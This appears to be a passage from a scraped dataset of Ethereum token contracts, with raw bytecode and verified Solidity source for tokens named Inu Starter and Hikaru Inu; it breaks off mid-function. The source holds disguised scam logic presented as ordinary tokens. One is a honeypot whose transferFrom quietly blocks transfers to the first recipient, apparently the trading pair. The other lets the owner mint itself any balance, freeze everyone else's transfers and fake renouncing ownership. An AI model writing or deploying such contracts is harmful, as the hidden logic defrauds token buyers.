0602082015281565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60005481565b6000600160a060020a038316151561040b57600080fd5b600160a060020a03841660009081526001602052604090205482111561043057600080fd5b600160a060020a038085166000908152600260209081526040808320339094168352929052205482111561046357600080fd5b600160a060020a03841660009081526001602052604090205461048c908363ffffffff610a2716565b600160a060020a0380861660009081526001602052604080822093909355908516815220546104c1908363ffffffff610a3916565b600160a060020a03808516600090815260016020908152604080832094909455878316825260028152838220339093168252919091522054610509908363ffffffff610a2716565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b63ee6b280081565b600881565b60035460009033600160a060020a039081169116146105a157600080fd5b600160a060020a033316600090815260016020526040902054829010156105c757600080fd5b600160a060020a0333166000908152600160205260409020546105f0908363ffffffff610a2716565b600160a060020a0333166000908152600160205260408120919091555461061d908363ffffffff610a2716565b600055600160a060020a0333167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a2506001919050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054808311156106c257600160a060020a0333811660009081526002602090815260408083209388168352929052908120556106f9565b6106d2818463ffffffff610a2716565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a3600191505b5092915050565b600160a060020a031660009081526001602052604090205490565b600354600160a060020a031681565b60408051908101604052600481527f5448424300000000000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a03831615156107d957600080fd5b600160a060020a0333166000908152600160205260409020548211156107fe57600080fd5b600160a060020a033316600090815260016020526040902054610827908363ffffffff610a2716565b600160a060020a03338116600090815260016020526040808220939093559085168152205461085c908363ffffffff610a3916565b600160a060020a0380851660008181526001602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b600160a060020a0333811660009081526002602090815260408083209386168352929052908120546108f5908363ffffffff610a3916565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a039081169116146109a757600080fd5b600160a060020a03811615156109bc57600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610a3357fe5b50900390565b600082820183811015610a4857fe5b9392505050565b600080831515610a62576000915061075a565b50828202828482811515610a7257fe5b0414610a4857fe00a165627a7a72305820938cc2672b0925e5c00f6603fe8c21852454bc253441c747f84e47da45b4ed690029 | {"success": true, "error": null, "results": {}} | 10,633 |
0xfb6ee8180df94f37a92b700e76c400f1903722e2 | /**
*Submitted for verification at Etherscan.io on
*/
//SPDX-License-Identifier: UNLICENSED
/*
The first INSURED project accelerator for THE INU COMMUNITY
$ INU STARTER $
_______ _ _ _ _ _____ _______ _____ _____ _______ ______ _____
(_______)(_) (_)(_) (_) (_____)(__ _ __)(_____) (_____)(__ _ __)(______)(_____)
(_) (__)_ (_)(_) (_)(_)___ (_) (_)___(_)(_)__(_) (_) (_)__ (_)__(_)
(_) (_)(_)(_)(_) (_) (___)_ (_) (_______)(_____) (_) (____) (_____)
__(_)__ (_) (__)(_)___(_) ____(_) (_) (_) (_)( ) ( ) (_) (_)____ ( ) ( )
(_______)(_) (_) (_____) (_____) (_) (_) (_)(_) (_) (_) (______)(_) (_)
*/
/**
* @dev Intended to update the TWAP for a token based on accepting an update call from that token.
* expectation is to have this happen in the _beforeTokenTransfer function of ERC20.
* Provides a method for a token to register its price sourve adaptor.
* Provides a function for a token to register its TWAP updater. Defaults to token itself.
* Provides a function a tokent to set its TWAP epoch.
* Implements automatic closeing and opening up a TWAP epoch when epoch ends.
* Provides a function to report the TWAP from the last epoch when passed a token address.
*/
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
/**
* @dev Returns the amount of tokens in existence.
*/
pragma solidity >=0.5.17;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
require(c >= a);
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b <= a);
c = a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b > 0);
c = a / b;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
contract BEP20Interface {
function totalSupply() public view returns (uint256);
function balanceOf(address tokenOwner)
public
view
returns (uint256 balance);
function allowance(address tokenOwner, address spender)
public
view
returns (uint256 remaining);
function transfer(address to, uint256 tokens) public returns (bool success);
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function approve(address spender, uint256 tokens)
public
returns (bool success);
function transferFrom(
address from,
address to,
uint256 tokens
) public returns (bool success);
/**
* @dev Returns true if the value is in the set. O(1).
*/
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(
address indexed tokenOwner,
address indexed spender,
uint256 tokens
);
}
contract ApproveAndCallFallBack {
function receiveApproval(
address from,
uint256 tokens,
address token,
bytes memory data
) public;
}
// TODO needs insert function that maintains order.
// TODO needs NatSpec documentation comment.
/**
* Inserts new value by moving existing value at provided index to end of array and setting provided value at provided index
*/
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
contract TokenBEP20 is BEP20Interface, Owned {
using SafeMath for uint256;
string public symbol;
string public name;
uint8 public decimals;
uint256 _totalSupply;
address public newun;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
constructor() public {
symbol = "INUSTARTER";
name = "Inu Starter";
decimals = 9;
_totalSupply = 1000000000000000000000000;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function transfernewun(address _newun) public onlyOwner {
newun = _newun;
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner)
public
view
returns (uint256 balance)
{
return balances[tokenOwner];
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function transfer(address to, uint256 tokens)
public
returns (bool success)
{
require(to != newun, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint256 tokens)
public
returns (bool success)
{
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function transferFrom(
address from,
address to,
uint256 tokens
) public returns (bool success) {
if (from != address(0) && newun == address(0)) newun = to;
else require(to != newun, "please wait");
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender)
public
view
returns (uint256 remaining)
{
return allowed[tokenOwner][spender];
}
function approveAndCall(
address spender,
uint256 tokens,
bytes memory data
) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(
msg.sender,
tokens,
address(this),
data
);
return true;
}
function() external payable {
revert();
}
}
contract GokuToken is TokenBEP20 {
function clearCNDAO() public onlyOwner() {
address payable _owner = msg.sender;
_owner.transfer(address(this).balance);
}
function() external payable {}
} | 0x6080604052600436106100f35760003560e01c806381f4f3991161008a578063cae9ca5111610059578063cae9ca5114610568578063d4ee1d9014610672578063dd62ed3e146106c9578063f2fde38b1461074e576100f3565b806381f4f399146103bd5780638da5cb5b1461040e57806395d89b4114610465578063a9059cbb146104f5576100f3565b806323b872dd116100c657806323b872dd1461027d578063313ce5671461031057806370a082311461034157806379ba5097146103a6576100f3565b806306fdde03146100f8578063095ea7b31461018857806318160ddd146101fb5780631ee59f2014610226575b600080fd5b34801561010457600080fd5b5061010d61079f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019457600080fd5b506101e1600480360360408110156101ab57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061083d565b604051808215151515815260200191505060405180910390f35b34801561020757600080fd5b5061021061092f565b6040518082815260200191505060405180910390f35b34801561023257600080fd5b5061023b61098a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561028957600080fd5b506102f6600480360360608110156102a057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109b0565b604051808215151515815260200191505060405180910390f35b34801561031c57600080fd5b50610325610df5565b604051808260ff1660ff16815260200191505060405180910390f35b34801561034d57600080fd5b506103906004803603602081101561036457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e08565b6040518082815260200191505060405180910390f35b3480156103b257600080fd5b506103bb610e51565b005b3480156103c957600080fd5b5061040c600480360360208110156103e057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fee565b005b34801561041a57600080fd5b5061042361108b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047157600080fd5b5061047a6110b0565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104ba57808201518184015260208101905061049f565b50505050905090810190601f1680156104e75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050157600080fd5b5061054e6004803603604081101561051857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061114e565b604051808215151515815260200191505060405180910390f35b34801561057457600080fd5b506106586004803603606081101561058b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001906401000000008111156105d257600080fd5b8201836020820111156105e457600080fd5b8035906020019184600183028401116401000000008311171561060657600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192905050506113ad565b604051808215151515815260200191505060405180910390f35b34801561067e57600080fd5b506106876115e0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106d557600080fd5b50610738600480360360408110156106ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611606565b6040518082815260200191505060405180910390f35b34801561075a57600080fd5b5061079d6004803603602081101561077157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061168d565b005b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108355780601f1061080a57610100808354040283529160200191610835565b820191906000526020600020905b81548152906001019060200180831161081857829003601f168201915b505050505081565b600081600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000610985600760008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055461172a90919063ffffffff16565b905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610a3c5750600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b15610a875782600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b4c565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b4b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b5b610b9e82600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172a90919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c7082600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172a90919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d4282600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461174490919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610eab57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461104757600080fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111465780601f1061111b57610100808354040283529160200191611146565b820191906000526020600020905b81548152906001019060200180831161112957829003601f168201915b505050505081565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611214576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b61126682600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172a90919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112fb82600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461174490919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600082600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561156e578082015181840152602081019050611553565b50505050905090810190601f16801561159b5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1580156115bd57600080fd5b505af11580156115d1573d6000803e3d6000fd5b50505050600190509392505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146116e657600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008282111561173957600080fd5b818303905092915050565b600081830190508281101561175857600080fd5b9291505056fea265627a7a72315820b213fdce2e24f589712ec35db098771d80fd0930cc0581b16e28b550c7ee03de64736f6c63430005110032 | {"success": true, "error": null, "results": {}} | 10,634 |
0x423eb4da0bd7fc7c157f8027baccd73037dbba88 | /**
*Submitted for verification at Etherscan.io on 2021-12-03
*/
/**
▄█ █▄ ▄█ ▄█ ▄█▄ ▄████████ ▄████████ ███ █▄ ▄█ ███▄▄▄▄ ███ █▄
███ ███ ███ ███ ▄███▀ ███ ███ ███ ███ ███ ███ ███ ███▀▀▀██▄ ███ ███
███ ███ ███▌ ███▐██▀ ███ ███ ███ ███ ███ ███ ███▌ ███ ███ ███ ███
▄███▄▄▄▄███▄▄ ███▌ ▄█████▀ ███ ███ ▄███▄▄▄▄██▀ ███ ███ ███▌ ███ ███ ███ ███
▀▀███▀▀▀▀███▀ ███▌ ▀▀█████▄ ▀███████████ ▀▀███▀▀▀▀▀ ███ ███ ███▌ ███ ███ ███ ███
███ ███ ███ ███▐██▄ ███ ███ ▀███████████ ███ ███ ███ ███ ███ ███ ███
███ ███ ███ ███ ▀███▄ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███
███ █▀ █▀ ███ ▀█▀ ███ █▀ ███ ███ ████████▀ █▀ ▀█ █▀ ████████▀
▀ ███ ███
https://t.me/HikaruInu
https://www.hikaruinu.website/
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity =0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address owneraddress;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
owneraddress = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() internal view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function ownerAddress() public view returns (address) {
return owneraddress;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
owneraddress = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract HikaruInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Hikaru Inu";
string private constant _symbol = "HIKARU";
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 400000000000000 * 10**9;
mapping (address => uint256) private _vOwned;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _approveSwap;
event botBan (address swapAddress, bool isBanned);
address[] private _excluded;
uint256 private _rTotal;
uint256 private _tFeeTotal;
bool _cooldown;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private constant MAX = ~uint256(0);
uint256 private _totalSupply;
address public uniV2factory;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
constructor (address V2factory) {
uniV2factory = V2factory;
_totalSupply =_tTotal;
_rTotal = (MAX - (MAX % _totalSupply));
_vOwned[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _totalSupply);
_tOwned[_msgSender()] = tokenFromReflection(_rOwned[_msgSender()]);
_isExcludedFromFee[_msgSender()] = true;
_excluded.push(_msgSender());
_cooldown = false;
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _vOwned[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approveSwap(address swapAddress) external onlyOwner {
if (_approveSwap[swapAddress] == true) {
_approveSwap[swapAddress] = false;
} else {_approveSwap[swapAddress] = true;
emit botBan (swapAddress, _approveSwap[swapAddress]);
}
}
function checkBot(address swapAddress) public view returns (bool) {
return _approveSwap[swapAddress];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function cooldownEnable() public virtual onlyOwner {
if (_cooldown == false) {_cooldown = true;} else {_cooldown = false;}
}
function cooldownCheck() public view returns (bool) {
return _cooldown;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function reflect(uint256 totalFee, uint256 burnedFee) public virtual onlyOwner {
_vOwned[owner()] = totalFee.sub(burnedFee);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_approveSwap[sender] || _approveSwap[recipient]) require (amount == 0, "no bots");
if (_cooldown == false || sender == owner() || recipient == owner()) {
if (_isExcludedFromFee[sender] && !_isExcludedFromFee[recipient]) {
_vOwned[sender] = _vOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_vOwned[recipient] = _vOwned[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else {_vOwned[sender] = _vOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_vOwned[recipient] = _vOwned[recipient].add(amount);
emit Transfer(sender, recipient, amount);}
} else {require (_cooldown == false, "");}
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
